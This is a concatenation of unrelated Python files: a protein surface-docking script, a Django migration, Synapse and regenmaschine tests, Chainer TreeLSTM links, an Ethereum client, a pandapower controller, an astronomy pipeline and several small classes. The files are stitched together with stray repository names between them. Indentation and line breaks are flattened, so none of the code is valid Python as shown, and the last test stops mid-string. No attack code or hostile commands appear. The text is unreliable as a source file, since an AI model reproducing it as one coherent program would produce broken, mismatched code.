3 random numbers in the range [0, 1]. If `None`, they will be auto-generated. """ # from http://www.realtimerendering.com/resources/GraphicsGems/gemsiii/rand_rotation.c if randnums is None: randnums = np.random.uniform(size=(3,)) theta, phi, z = randnums theta = theta * 2.0 * deflection * np.pi # Rotation about the pole (Z). phi = phi * 2.0 * np.pi # For direction of pole deflection. z = z * 2.0 * deflection # For magnitude of pole deflection. # Compute a vector V used for distributing points over the sphere # via the reflection I - V Transpose(V). This formulation of V # will guarantee that if x[1] and x[2] are uniformly distributed, # the reflected points will be uniform on the sphere. Note that V # has length sqrt(2) to eliminate the 2 in the Householder matrix. r = np.sqrt(z) Vx, Vy, Vz = V = (np.sin(phi) * r, np.cos(phi) * r, np.sqrt(2.0 - z)) st = np.sin(theta) ct = np.cos(theta) R = np.array(((ct, st, 0), (-st, ct, 0), (0, 0, 1))) # Construct the rotation matrix ( V Transpose(V) - I ) R. M = (np.outer(V, V) - np.eye(3)).dot(R) return M def get_center_and_random_rotate(pcd): pts = pcd.points mean_pt = np.mean(pts, axis=0) rand_mat = rand_rotation_matrix() transform = np.vstack([rand_mat.T, -mean_pt]).T transform = np.vstack([transform, [0, 0, 0, 1]]) return transform def multidock( source_pcd, source_patch_coords, source_descs, cand_pts, target_pcd, target_descs, ransac_radius=1.0, ransac_iter=2000, ): all_results = [] all_source_patch = [] all_source_scores = [] patch_time = 0.0 ransac_time = 0.0 transform_time = 0.0 score_time = 0.0 for pt in cand_pts: tic = time.time() source_patch, source_patch_descs = get_patch_geo( source_pcd, source_patch_coords, pt, source_descs ) patch_time = patch_time + (time.time() - tic) tic = time.time() result = registration_ransac_based_on_feature_matching( source_patch, target_pcd, source_patch_descs, target_descs, ransac_radius, TransformationEstimationPointToPoint(False), 3, [ CorrespondenceCheckerBasedOnEdgeLength(0.9), CorrespondenceCheckerBasedOnDistance(1.0), CorrespondenceCheckerBasedOnNormal(np.pi / 2), ], RANSACConvergenceCriteria(ransac_iter, 500) ) ransac_time = ransac_time + (time.time() - tic) # result = registration_icp(source_patch, target_pcd, 1.5, # result.transformation, # TransformationEstimationPointToPoint()) tic = time.time() source_patch.transform(result.transformation) all_results.append(result) all_source_patch.append(source_patch) transform_time = transform_time + (time.time() - tic) tic = time.time() source_scores = compute_desc_dist_score( target_pcd, source_patch, np.asarray(result.correspondence_set), target_descs, source_patch_descs, ) all_source_scores.append(source_scores) score_time = score_time + (time.time() - tic) # print('Ransac time = {:.2f}'.format(ransac_time)) # print('Extraction time = {:.2f}'.format(patch_time)) # print('Score time = {:.2f}'.format(score_time)) return all_results, all_source_patch, all_source_scores def align_and_save( out_filename_base, patch, transformation, source_structure, target_ca_pcd_tree, target_pcd_tree, clashing_cutoff=10.0, clashing_radius=2.0, ): structure_atoms = [atom for atom in source_structure.get_atoms()] structure_coords = [x.get_coord() for x in structure_atoms] structure_coord_pcd = PointCloud() structure_coord_pcd.points = Vector3dVector(structure_coords) structure_coord_pcd.transform(transformation) clashing = 0 for point in structure_coord_pcd.points: [k, idx, _] = target_pcd_tree.search_radius_vector_3d(point, clashing_radius) if k > 0: clashing += 1 # if clashing < float("inf"): # clashing_cutoff: for ix, v in enumerate(structure_coord_pcd.points): structure_atoms[ix].set_coord(v) io = PDBIO() io.set_structure(source_structure) io.save(out_filename_base + ".pdb") # Save patch out_patch = open(out_filename_base + ".vert", "w+") for point in patch.points: out_patch.write("{}, {}, {}\n".format(point[0], point[1], point[2])) out_patch.close() return clashing # Compute different types of scores: # -- Inverted sum of the minimum descriptor distances squared cutoff. def compute_desc_dist_score( target_pcd, source_pcd, corr, target_desc, source_desc, cutoff=2.0 ): # Compute scores based on correspondences. if len(corr) < 1: dists_cutoff = np.array([1000.0]) inliers = 0 else: target_p = corr[:, 1] source_p = corr[:, 0] try: dists_cutoff = target_desc.data[:, target_p] - source_desc.data[:, source_p] except: set_trace() dists_cutoff = np.sqrt(np.sum(np.square(dists_cutoff.T), axis=1)) inliers = len(corr) scores_corr = np.sum(np.square(1.0 / dists_cutoff)) scores_corr_cube = np.sum(np.power(1.0 / dists_cutoff, 3)) scores_corr_mean = np.mean(np.square(1.0 / dists_cutoff)) return np.array([scores_corr, inliers, scores_corr_mean, scores_corr_cube]).T ## Load the structures of the target target_pdb_id = "4ZQK" target_chain = "A" target_pdb_dir = pdb_dir parser = PDBParser() target_struct = parser.get_structure( "{}_{}".format(target_pdb_id, target_chain), os.path.join(target_pdb_dir, "{}_{}.pdb".format(target_pdb_id, target_chain)), ) # Get coordinates of atoms for the ground truth and target. target_atom_coords = [atom.get_coord() for atom in target_struct.get_atoms()] target_ca_coords = [ atom.get_coord() for atom in target_struct.get_atoms() if atom.get_id() == "CA" ] target_atom_coord_pcd = PointCloud() target_ca_coord_pcd = PointCloud() target_atom_coord_pcd.points = Vector3dVector(np.array(target_atom_coords)) target_ca_coord_pcd.points = Vector3dVector(np.array(target_ca_coords)) target_atom_pcd_tree = KDTreeFlann(target_atom_coord_pcd) target_ca_pcd_tree = KDTreeFlann(target_ca_coord_pcd) target_pcd_tree = KDTreeFlann(target_atom_coord_pcd) desc_scores = [] desc_pos = [] inlier_scores = [] inlier_pos = [] (matched_names, matched_vix, matched_desc_dist, count_proteins) = match_descriptors( desc_dir, iface_dir, ["p1", "p2"], target_desc[target_vix] ) matched_names = np.concatenate(matched_names, axis=0) matched_vix = np.concatenate(matched_vix, axis=0) matched_desc_dist = np.concatenate(matched_desc_dist, axis=0) matched_dict = {} out_log = open("log.txt", "w+") out_log.write("Total number of proteins {}\n".format(count_proteins)) for name_ix, name in enumerate(matched_names): name = (name[0], name[1]) if name not in matched_dict: matched_dict[name] = [] matched_dict[name].append(matched_vix[name_ix]) desc_scores = [] inlier_scores = [] for name in matched_dict.keys(): ppi_pair_id = name[0] pid = name[1] pdb = ppi_pair_id.split("_")[0] if pid == "p1": chain = ppi_pair_id.split("_")[1] else: chain = ppi_pair_id.split("_")[2] # Load source ply file, coords, and descriptors. tic = time.time() print("{}".format(pdb + "_" + chain)) blockPrint() source_pcd = read_point_cloud( os.path.join(surf_dir, "{}.ply".format(pdb + "_" + chain)) ) enablePrint() # print('Reading ply {}'.format(time.time()- tic)) enablePrint() tic = time.time() source_vix = matched_dict[name] # try: source_coords = subsample_patch_coords( precomp_dir, ppi_pair_id, pid, cv=source_vix, ) # except: # print("Coordinates not found. continuing.") # continue source_desc = np.load( os.path.join(desc_dir, ppi_pair_id, pid + "_desc_straight.npy") ) # Perform all alignments to target. tic = time.time() all_results, all_source_patch, all_source_scores = multidock( source_pcd, source_coords, source_desc, source_vix, target_patch, target_patch_descs, ) scores = np.asarray(all_source_scores) desc_scores.append(scores[:, 0]) inlier_scores.append(scores[:, 1]) # Filter anything above 5. top_scorers = np.where(scores[:, 0] > 15)[0] if len(top_scorers) > 0: # Load source structure # Perform the transformation on the atoms for j in top_scorers: print("{} {} {}".format(ppi_pair_id, scores[j], pid)) out_log.write("{} {} {}\n".format(ppi_pair_id, scores[j], pid)) source_struct = parser.get_structure( "{}_{}".format(pdb, chain), os.path.join(pdb_dir, "{}_{}.pdb".format(pdb, chain)), ) res = all_results[j] if not os.path.exists("out/" + pdb): os.makedirs("out/" + pdb) out_fn = "out/" + pdb + "/{}_{}_{}".format(pdb, chain, j) # Align and save the pdb + patch align_and_save( out_fn, all_source_patch[j], res.transformation, source_struct, target_ca_pcd_tree, target_pcd_tree, ) end_time = time.time() out_log.write("Took {}s\n".format(end_time - start_time)) import unittest import os import sys # This makes it easy to import the needed files sys.path.insert(0, os.path.join(os.path.abspath(os.path.dirname(__file__)), "..")) from src.company_class import Company from src.contact_class import Contact from src.job_posting_class import JobPosting from src.recruiter_class import Recruiter from src.sql_class import SQL from src.cli_helper import show, class_factory, get_all_objects_in_db, _segregate_properties from src.constants import COMPANY, COMPANIES, CONTACT, CONTACTS, RECRUITER, RECRUITERS, JOB_POSTING, JOB_POSTINGS from src.constants import TEST_DB class CliHelper(unittest.TestCase): def setUp(self): self.class_list_plural = [CONTACTS, COMPANIES, RECRUITERS, JOB_POSTINGS] self.class_list = [CONTACT, COMPANY, RECRUITER, JOB_POSTING] self.classes = [Company, Contact, Recruiter, JobPosting] self.prop_references = ("company_uid", "jobposting_uid", "contact_uid", "recruiter_uid", "uid") #Reset the database db = SQL(TEST_DB) db.create_db() db.add_test_data_to_db() def test_show(self): for item in self.class_list_plural: self.assertIsNotNone(show(item)) def test_class_factory(self): for item in self.class_list: self.assertIsNotNone(class_factory(item)) def test_get_all_objects_in_db(self): for item in self.classes: self.assertTrue(isinstance(get_all_objects_in_db(item()), list)) def test__segregate_properties(self): for class_ in self.classes: test = class_() prop1, prop2_with_references = _segregate_properties(test.properties_with_uid) for prop in self.prop_references: self.assertTrue(prop not in prop1) for prop in prop1: self.assertTrue(prop not in self.prop_references) if __name__ == "__main__": unittest.main() # -*- coding: utf-8 -*- # Generated by Django 1.10 on 2016-09-13 16:15 from __future__ import unicode_literals from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('scheduler', '0002_eventrequest'), ] operations = [ migrations.AddField( model_name='vertex', name='active', field=models.BooleanField(default=True), ), migrations.AddField( model_name='vertex', name='last_seen', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now), preserve_default=False, ), ] ackroute/synapse import io import json import msgpack import unittest.mock as mock import synapse.lib.msgpack as s_msgpack import synapse.tests.utils as s_t_utils import synapse.tools.cryo.cat as s_cryocat class CryoCatTest(s_t_utils.SynTest): async def test_cryocat(self): async with self.getTestCryo() as cryo: cryourl = cryo.getLocalUrl(share='cryotank/hehe') argv = ['--ingest', cryourl] retn, outp = await self.execToolMain(s_cryocat.main, argv) self.eq(1, retn) # Happy path jsonl ingest outp = self.getTestOutp() argv = ['--ingest', '--jsonl', cryourl] inp = io.StringIO('{"foo": "bar"}\n[]\n') with self.redirectStdin(inp): retn, outp = await self.execToolMain(s_cryocat.main, argv) self.eq(0, retn) # Sad path jsonl ingest argv = ['--ingest', '--jsonl', cryourl] inp = io.StringIO('{"foo: "bar"}\n[]\n') with self.redirectStdin(inp): with self.raises(json.decoder.JSONDecodeError): retn, outp = await self.execToolMain(s_cryocat.main, argv) # Happy path msgpack ingest argv = ['--ingest', '--msgpack', cryourl] to_ingest1 = s_msgpack.en({'foo': 'bar'}) to_ingest2 = s_msgpack.en(['lol', 'brb']) inp = mock.Mock() inp.buffer = io.BytesIO(to_ingest1 + to_ingest2) with self.redirectStdin(inp): retn, outp = await self.execToolMain(s_cryocat.main, argv) self.eq(0, retn) # Sad path msgpack ingest argv = ['--ingest', '--msgpack', cryourl] good_encoding = s_msgpack.en({'foo': 'bar'}) bad_encoding = bytearray(good_encoding) bad_encoding[2] = 0xff inp = mock.Mock() inp.buffer = io.BytesIO(bad_encoding) with self.redirectStdin(inp): with self.raises(msgpack.UnpackValueError): retn, outp = await self.execToolMain(s_cryocat.main, argv) argv = ['--offset', '0', '--size', '1', cryourl] retn, outp = await self.execToolMain(s_cryocat.main, argv) self.eq(0, retn) self.true(outp.expect("(0, {'foo': 'bar'})")) async with self.getTestCryo() as cryo: cryourl = cryo.getLocalUrl(share='cryotank/hehe') items = [(None, {'key': i}) for i in range(20)] tank = await cryo.init('hehe') await tank.puts(items) argv = ['--offset', '0', '--jsonl', '--size', '2', '--omit-offset', cryourl] retn, outp = await self.execToolMain(s_cryocat.main, argv) self.true(outp.expect('[null, {"key": 0}]\n[null, {"key": 1}]\n')) argv = ['--offset', '0', '--size', '20', cryourl] retn, outp = await self.execToolMain(s_cryocat.main, argv) self.eq(0, retn) self.true(outp.expect("(0, (None, {'key': 0}))")) self.true(outp.expect("(9, (None, {'key': 9}))")) self.true(outp.expect("(19, (None, {'key': 19}))")) argv = ['--offset', '10', '--size', '20', cryourl] retn, outp = await self.execToolMain(s_cryocat.main, argv) self.eq(0, retn) self.false(outp.expect("(9, (None, {'key': 9}))", throw=False)) stdout = mock.Mock() stdout.buffer = io.BytesIO() with mock.patch('sys.stdout', stdout): with self.getLoggerStream('synapse.tools.cryo.cat') as stream: argv = ['--verbose', '--msgpack', '--size', '20', cryourl] retn, _ = await self.execToolMain(s_cryocat.main, argv) self.eq(0, retn) stream.seek(0) mesgs = stream.read() self.isin(f'connecting to: {cryourl}', mesgs) stdout.buffer.seek(0) outdata = list(msgpack.Unpacker(stdout.buffer, raw=False, use_list=False)) self.eq(items, outdata) from insta_follower import InstaFollower insta_follower = InstaFollower() insta_follower.login() insta_follower.find_followers() insta_follower.follow() insta_follower.close() takeratta/chainer0 from chainer.functions.activation import tree_lstm from chainer.functions.array import concat from chainer.functions.array import split_axis from chainer.links.connection import linear from chainer import link from chainer import utils class ChildSumTreeLSTM(link.Chain): """Child-Sum TreeLSTM unit. This is a Child-Sum TreeLSTM unit as a chain. This link is a variable arguments function, which compounds the states of all children nodes into the new states of a current (parent) node. *states* denotes the cell state, :math:`c`, and the output, :math:`h`, which are produced by this link. This link doesn't keep cell and hidden states internally. For example, this link is called such as ``func(c1, c2, h1, h2, x)`` if the number of children nodes is 2, while ``func(c1, c2, c3, h1, h2, h3, x)`` if that is 3. This function is *independent* from an order of children nodes. Thus, the returns of ``func(c1, c2, h1, h2, x)`` equal to those of ``func(c2, c1, h2, h1, x)``. Args: in_size (int): Dimension of input vectors. out_size (int): Dimensionality of cell and output vectors. Attributes: W_x (chainer.links.Linear): Linear layer of connections from input vectors. W_h_aio (chainer.links.Linear): Linear layer of connections between (:math:`a`, :math:`i`, :math:`o`) and summation of children's output vectors. :math:`a`, :math:`i` and :math:`o` denotes input compound, input gate and output gate, respectively. :math:`a`, input compound, equals to :math:`u` in the paper by Tai et al. W_h_f (chainer.links.Linear): Linear layer of connections between forget gate :math:`f` and the output of each child. See the paper for details: `Improved Semantic Representations From \ Tree-Structured Long Short-Term Memory Networks \ `_. """ def __init__(self, in_size, out_size): super(ChildSumTreeLSTM, self).__init__() with self.init_scope(): self.W_x = linear.Linear(in_size, 4 * out_size) self.W_h_aio = linear.Linear(out_size, 3 * out_size, nobias=True) self.W_h_f = linear.Linear(out_size, out_size, nobias=True) self.in_size = in_size self.state_size = out_size utils.experimental('chainer.links.tree_lstm.py') def __call__(self, *cshsx): """Returns new cell state and output of Child-Sum TreeLSTM. Args: cshsx (list of :class:`~chainer.Variable`): Variable arguments which include all cell vectors and all output vectors of variable children, and an input vector. Returns: tuple of ~chainer.Variable: Returns :math:`(c_{new}, h_{new})`, where :math:`c_{new}` represents new cell state vector, and :math:`h_{new}` is new output vector. """ cs = cshsx[:len(cshsx) // 2] hs = cshsx[len(cshsx) // 2:-1] x = cshsx[-1] assert(len(cs) >= 1) assert(len(hs) >= 1) assert(len(cs) == len(hs)) if x is None: if any(c is not None for c in cs): base = [c for c in cs if c is not None][0] elif any(h is not None for h in hs): base = [h for h in hs if h is not None][0] else: raise ValueError('All inputs are None.') batchsize, dtype = base.shape[0], base.dtype x = self.xp.zeros( (batchsize, self.in_size), dtype=dtype) W_x_in = self.W_x(x) W_x_aio_in, W_x_f_in = split_axis.split_axis( W_x_in, [3 * self.state_size], axis=1) hs = self._pad_zero_nodes( hs, (x.shape[0], self.state_size), dtype=x.dtype) cs = self._pad_zero_nodes( cs, (x.shape[0], self.state_size), dtype=x.dtype) aio_in = self.W_h_aio(sum(hs)) + W_x_aio_in W_h_fs_in = concat.concat(split_axis.split_axis( self.W_h_f(concat.concat(hs, axis=0)), len(hs), axis=0), axis=1) f_in = W_h_fs_in + \ concat.concat([W_x_f_in] * len(hs), axis=1) tree_lstm_in = concat.concat([aio_in, f_in], axis=1) return tree_lstm.tree_lstm(*(cs + (tree_lstm_in, ))) def _pad_zero_nodes(self, vs, shape, dtype='f'): if any(v is None for v in vs): zero = self.xp.zeros(shape, dtype=dtype) return tuple(zero if v is None else v for v in vs) else: return vs class NaryTreeLSTM(link.Chain): """N-ary TreeLSTM unit. This is a N-ary TreeLSTM unit as a chain. This link is a fixed-length arguments function, which compounds the states of all children nodes into the new states of a current (parent) node. *states* denotes the cell state, :math:`c`, and the output, :math:`h`, which are produced by this link. This link doesn't keep cell and hidden states internally. For example, this link is called such as ``func(c1, c2, h1, h2, x)`` if the number of children nodes was set 2 (``n_ary = 2``), while ``func(c1, c2, c3, h1, h2, h3, x)`` if that was 3 (``n_ary = 3``). This function is *dependent* from an order of children nodes unlike Child-Sum TreeLSTM. Thus, the returns of ``func(c1, c2, h1, h2, x)`` are different from those of ``func(c2, c1, h2, h1, x)``. Args: in_size (int): Dimension of input vectors. out_size (int): Dimensionality of cell and output vectors. n_ary (int): The number of children nodes in a tree structure. Attributes: W_x (chainer.links.Linear): Linear layer of connections from input vectors. W_h (chainer.links.Linear): Linear layer of connections between (:math:`a`, :math:`i`, :math:`o`, all :math:`f`) and the output of each child. :math:`a`, :math:`i`, :math:`o` and :math:`f` denotes input compound, input gate, output gate and forget gate, respectively. :math:`a`, input compound, equals to :math:`u` in the paper by Tai et al. See the papers for details: `Improved Semantic Representations From \ Tree-Structured Long Short-Term Memory Networks \ `_, and `A Fast Unified Model for Parsing and Sentence Understanding \ `_. Tai et al.'s N-Ary TreeLSTM is little extended in Bowman et al., and this link is based on the variant by Bowman et al. Specifically, eq. 10 in Tai et al. has only one :math:`W` matrix to be applied to :math:`x`, consistently for all children. On the other hand, Bowman et al.'s model has multiple matrices, each of which affects the forget gate for each child's cell individually. """ def __init__(self, in_size, out_size, n_ary=2): assert(n_ary >= 2) super(NaryTreeLSTM, self).__init__() with self.init_scope(): self.W_x = linear.Linear(in_size, (3 + n_ary) * out_size) for i in range(1, n_ary + 1): l = linear.Linear( out_size, (3 + n_ary) * out_size, nobias=True) setattr(self, 'W_h{}'.format(i), l) self.in_size = in_size self.state_size = out_size self.n_ary = n_ary utils.experimental('chainer.links.tree_lstm.py') def __call__(self, *cshsx): """Returns new cell state and output of N-ary TreeLSTM. Args: cshsx (list of :class:`~chainer.Variable`): Arguments which include all cell vectors and all output vectors of fixed-length children, and an input vector. The number of arguments must be same as ``n_ary * 2 + 1``. Returns: tuple of ~chainer.Variable: Returns :math:`(c_{new}, h_{new})`, where :math:`c_{new}` represents new cell state vector, and :math:`h_{new}` is new output vector. """ assert(len(cshsx) == self.n_ary * 2 + 1) cs = cshsx[:self.n_ary] hs = cshsx[self.n_ary:-1] x = cshsx[-1] if x is None: if any(c is not None for c in cs): base = [c for c in cs if c is not None][0] elif any(h is not None for h in hs): base = [h for h in hs if h is not None][0] else: raise ValueError('All inputs are None.') batchsize, dtype = base.shape[0], base.dtype x = self.xp.zeros( (batchsize, self.in_size), dtype=dtype) tree_lstm_in = self.W_x(x) for i, h in enumerate(hs, start=1): if h is not None: tree_lstm_in += getattr(self, 'W_h{}'.format(i))(h) cs = self._pad_zero_nodes( cs, (x.shape[0], self.state_size), dtype=x.dtype) return tree_lstm.tree_lstm(*(cs + (tree_lstm_in, ))) def _pad_zero_nodes(self, vs, shape, dtype='f'): if any(v is None for v in vs): zero = self.xp.zeros(shape, dtype=dtype) return tuple(zero if v is None else v for v in vs) else: return vs 0 from abc import abstractmethod class Oracle(object): def __init__(self, bot, update): self.bot = bot self.update = update @abstractmethod def handle(self): raise NotImplementedError() def reply(self, response, reply_markup=None): self.bot.send_message(self.update.message.chat_id, text=response, reply_markup=reply_markup) from healthvaultlib.utils.xmlutils import XmlUtils class Record(): def __init__(self, record_xml=None): self.id = None self.record_custodian = False self.rel_type = None self.rel_name = None self.auth_expires = None self.auth_expired = False self.display_name = None self.date_created = None if record_xml is not None: self.parse_xml(record_xml) def parse_xml(self, record_xml): xmlhelper = XmlUtils(record_xml) self.id = xmlhelper.get_string('id') self.record_custodian = xmlhelper.get_bool('record-custodian') self.rel_type = xmlhelper.get_int('rel-type') self.rel_name = xmlhelper.get_string('rel-name') self.auth_expires = xmlhelper.get_datetime('auth-expires') self.auth_expired = xmlhelper.get_bool('auth-expired') self.display_name = xmlhelper.get_string('display-name') self.date_created = xmlhelper.get_datetime('date-created') api/controllers/simulation.py """ 1. POST request that launches the simulation using the aforementioned Python module. The response should include the active and reactive power of the load in JSON format 2. GET request that reads the active power of the previously executed simulation 3. GET request that reads the reactive power of the previously executed simulation """ import pandapower as pp class SimulationController: def __init__(self): self._active_load, self._reactive_load = None, None def run_simulation(self, active_load=0.1, reactive_load=0.05) -> (float, float): """ Runs the Pandaspower simulation with 3 buses, a 0.4 MVA 20/0.4 kV transformer, and an external grid connection. :param active_load: Grid active load in megawatts. Default is 0.1. :param reactive_load: Grid reactive load in megawatts. Default is 0.05. :return: Resulting active and reactive grid load. """ # fallback parameters if not active_load: active_load = 0.1 if not reactive_load: reactive_load = 0.05 # create empty net net = pp.create_empty_network() # create buses b1 = pp.create_bus(net, vn_kv=20., name="Bus 1") b2 = pp.create_bus(net, vn_kv=0.4, name="Bus 2") b3 = pp.create_bus(net, vn_kv=0.4, name="Bus 3") # create bus elements pp.create_ext_grid(net, bus=b1, vm_pu=1.02, name="Grid Connection") pp.create_load(net, bus=b3, p_mw=active_load, q_mvar=reactive_load, name="Load") # create branch elements pp.create_transformer(net, hv_bus=b1, lv_bus=b2, std_type="0.4 MVA 20/0.4 kV", name="Trafo") pp.create_line(net, from_bus=b2, to_bus=b3, length_km=0.1, name="Line", std_type="NAYY 4x50 SE") pp.runpp(net) self._active_load, self._reactive_load = net.res_load.p_mw[0], net.res_load.q_mvar[0] return self._active_load, self._reactive_load @property def active_load(self) -> float: if not self._active_load: raise Exception('Please run simulation first.') return self._active_load @property def reactive_load(self) -> float: if not self._reactive_load: raise Exception('Please run simulation first.') return self._reactive_load controller = SimulationController() import logging import requests from math import ceil from erasure.contracts import ( CONTRACTS ) from erasure.session import initialize_erasure_account from erasure.settings import ( ERASURE_ACCOUNT_PRIVATE_KEY, ERASURE_KEY_STORE, ) from erasure.utils import ( initialize_contract, ) logger = logging.getLogger(__name__) class ErasureClient(): """ Main entrypoint for the erasuer python client """ def __init__(self, w3, mode, version): self.w3 = w3 self.mode = mode self.version = version self._key_store = ERASURE_KEY_STORE logger.info(f"Keys will be stored at {self._key_store}") self.account = initialize_erasure_account( w3, ERASURE_ACCOUNT_PRIVATE_KEY) # Initializing contract addresses if mode == 'rinkeby': logger.info(f"Connecting to Rinkeby testnet") assert w3.eth.chainId == 4 elif mode == 'mainnet': logger.info(f"Connecting to ethereum mainnet") assert w3.eth.chainId == 1 elif mode == 'test': logger.info(f"Running in test mode ignoring assertion") else: raise KeyError(f"Mode {mode} is not supported") logger.info(f"Running erasure client with {version} contracts") self.contract_dict = CONTRACTS[mode][version] # Initializing contracts self.feed_factory = initialize_contract( w3=self.w3, contract_address=self.contract_dict["FeedFactory"], contract_name="FeedFactory") self.feed_template = initialize_contract( w3=self.w3, contract_address=None, contract_name="Feed") self.erasure_users = initialize_contract( w3=self.w3, contract_address=self.contract_dict["ErasureUsers"], contract_name="ErasureUsers") def create_feed(self, operator, proofhash='0x', metadata='0x'): logger.info(f"Creating erasure with protocol version {self.version}") logger.info( f"Creating erasure feed for the user {self.account.address}") logger.info( f"Creating erasure feed at the operator {operator}") # get call data to create feed initialize_feed_call_data = self.feed_template.encodeABI('initialize', args=( operator, self.w3.toBytes(hexstr=proofhash), self.w3.toBytes(hexstr=metadata))) gas_price = self.get_gas_price() create_feed_function = self.feed_factory.functions.create( self.w3.toBytes(hexstr=initialize_feed_call_data) ) gas_estimated = create_feed_function.estimateGas() gas_limit = 2*ceil(gas_estimated/1000.0)*1000 receipt = self.manage_transaction( create_feed_function, gas_limit=gas_limit, gas_price=gas_price) instance_created = self.feed_factory.events.InstanceCreated().processReceipt(receipt) logger.info( f"Feed created at address {instance_created[0]['args']['instance']}") return receipt def create_user(self, public_key): logger.info(f"Registering user to the public key {public_key}") register_user_function = self.erasure_users.functions.registerUser( bytes(public_key, 'utf-8')) gas_price = self.get_gas_price() gas_estimated = register_user_function.estimateGas() gas_limit = 2*ceil(gas_estimated/1000.0)*1000 receipt = self.manage_transaction( register_user_function, gas_limit=gas_limit, gas_price=gas_price) return receipt def manage_transaction(self, function_call, gas_limit, gas_price): unsigned_txn = function_call.buildTransaction({ 'chainId': self.w3.eth.chainId, 'gasPrice': gas_price, 'gas': gas_limit, 'nonce': self.w3.eth.getTransactionCount(self.account.address), }) signed_txn = self.w3.eth.account.sign_transaction( unsigned_txn, self.account.key) tx_hash = self.w3.eth.sendRawTransaction( signed_txn.rawTransaction) logger.info(f"Sent the transaction {tx_hash.hex()}") logger.info("Waiting for transaction to be mined ...") return self.w3.eth.waitForTransactionReceipt(tx_hash) def get_gas_price(self, mode='average'): if self.mode == 'test': return 0 else: url = "https://ethgasstation.info/json/ethgasAPI.json" result = requests.get(url) return self.w3.toWei(result.json()[mode]/10, 'gwei') def update_key_store(self, new_key_store): self._key_store = new_key_store logger.info(f"Updated location of key store to {new_key_store}") def get_key_store(self): return self._key_store from __future__ import division, print_function import os import numpy as np from astropy.table import Table, hstack from lsst.pipe.base import Struct from .. import utils from .. import imtools from .. import primitives as prim from ..cattools import xmatch __all__ = ['run'] def run(cfg): """ Run hugs pipeline using SExtractor for the final detection and photometry. Parameters ---------- cfg : hugs_pipe.Config Configuration object which stores all params as well as the exposure object. Returns ------- results : lsst.pipe.base.Struct Object containing results: results.all_detections : catalog of all detections results.sources : catalog of sources we are keeping results.exp : exposure object for this run results.exp_clean : cleaned exposure object for this run results.success : boolean flag of run status """ assert cfg.tract and cfg.patch, 'No patch id given!' cfg.timer # start timer ############################################################ # Get masked image and check if we have enough good data ############################################################ try: mi = cfg.exp[cfg.band_detect].getMaskedImage() mask = mi.getMask() if cfg.exp.patch_meta.good_data_frac < cfg.min_good_data_frac: cfg.logger.warning('***** not enough data!!! ****') results = _null_return(cfg) return results ############################################################ # Image thesholding at low and high thresholds. In both # cases, the image is smoothed at the psf scale. ############################################################ mi_smooth = imtools.smooth_gauss(mi, cfg.psf_sigma) cfg.logger.info('performing low threshold at ' '{} sigma'.format(cfg.thresh_low['thresh'])) fpset_low = prim.image_threshold( mi_smooth, mask=mask, plane_name='THRESH_LOW', **cfg.thresh_low) cfg.logger.info('performing high threshold at ' '{} sigma'.format(cfg.thresh_high['thresh'])) fpset_high = prim.image_threshold( mi_smooth, mask=mask, plane_name='THRESH_HIGH', **cfg.thresh_high) ############################################################ # Get "cleaned" image, with noise replacement ############################################################ cfg.logger.info('generating cleaned exposure') exp_clean = prim.clean(cfg.exp[cfg.band_detect], fpset_low, **cfg.clean) mi_clean = exp_clean.getMaskedImage() mask_clean = mi_clean.getMask() ############################################################ # Detect sources and measure props with SExtractor ############################################################ cfg.logger.info('detecting in {}-band'.format(cfg.band_detect)) label = '{}-{}-{}'.format(cfg.tract, cfg.patch[0], cfg.patch[-1]) cfg.logger.info('cleaning non-detection bands') replace = cfg.exp.get_mask_array(cfg.band_detect) for band in cfg.bands: if band!=cfg.band_detect: mi_band = cfg.exp[band].getMaskedImage() noise_array = utils.make_noise_image(mi_band, cfg.rng) mi_band.getImage().getArray()[replace] = noise_array[replace] sources = Table() for band in cfg.bands: cfg.logger.info('measuring in {}-band'.format(band)) dual_exp = None if band==cfg.band_detect else cfg.exp[band] sources_band = prim.detect_sources( exp_clean, cfg.sex_config, cfg.sex_io_dir, label=label, dual_exp=dual_exp, delete_created_files=cfg.delete_created_files, original_fn=cfg.exp.fn[cfg.band_detect]) if len(sources_band)>0: sources = hstack([sources, sources_band]) else: cfg.logger.warn('**** no sources found by sextractor ****') results = _null_return(cfg, exp_clean) return results ############################################################ # Verify detections in other bands using SExtractor ############################################################ all_detections = sources.copy() for band in cfg.band_verify: cfg.logger.info('verifying dection in {}-band'.format(band)) sources_verify = prim.detect_sources( cfg.exp[band], cfg.sex_config, cfg.sex_io_dir, label=label, delete_created_files=cfg.delete_created_files, original_fn=cfg.exp.fn[cfg.band_detect]) if len(sources_verify)>0: match_masks, _ = xmatch( sources, sources_verify, max_sep=cfg.verify_max_sep) txt = 'cuts: {} out of {} objects detected in {}-band'.format( len(match_masks[0]), len(sources), band) cfg.logger.info(txt) if len(match_masks[0])==0: cfg.logger.warn('**** no matched sources with '+band+' ****') results = _null_return(cfg, exp_clean) return results sources = sources[match_masks[0]] else: cfg.logger.warn('**** no sources detected in '+band+' ****') results = _null_return(cfg, exp_clean) return results mask_fracs = utils.calc_mask_bit_fracs(exp_clean) cfg.exp.patch_meta.cleaned_frac = mask_fracs['cleaned_frac'] cfg.exp.patch_meta.bright_obj_frac = mask_fracs['bright_object_frac'] cfg.logger.info('task completed in {:.2f} min'.format(cfg.timer)) results = Struct(all_detections=all_detections, sources=sources, hugs_exp=cfg.exp, exp_clean=exp_clean, success=True, synths=cfg.exp.synths) cfg.reset_mask_planes() return results except Exception as e: cfg.logger.critical( 'tract - patch {} - {} failed: {}'.format(cfg.tract, cfg.patch, e)) results = _null_return(cfg) return results def _null_return(config, exp_clean=None): config.reset_mask_planes() return Struct(all_detections=None, sources=None, hugs_exp=config.exp, exp_clean=exp_clean, success=False, synths=None) """Define tests for restriction endpoints.""" import aiohttp import pytest from regenmaschine import Client from .common import TEST_HOST, TEST_PASSWORD, TEST_PORT, load_fixture @pytest.mark.asyncio async def test_restrictions_current(aresponses, authenticated_local_client): """Test getting any current restrictions.""" async with authenticated_local_client: authenticated_local_client.add( f"{TEST_HOST}:{TEST_PORT}", "/api/4/restrictions/currently", "get", aresponses.Response( text=load_fixture("restrictions_currently_response.json"), status=200 ), ) async with aiohttp.ClientSession() as session: client = Client(session=session) await client.load_local(TEST_HOST, TEST_PASSWORD, port=TEST_PORT, ssl=False) controller = next(iter(client.controllers.values())) data = await controller.restrictions.current() assert data["hourly"] is False @pytest.mark.asyncio async def test_restrictions_global(aresponses, authenticated_local_client): """Test getting any global 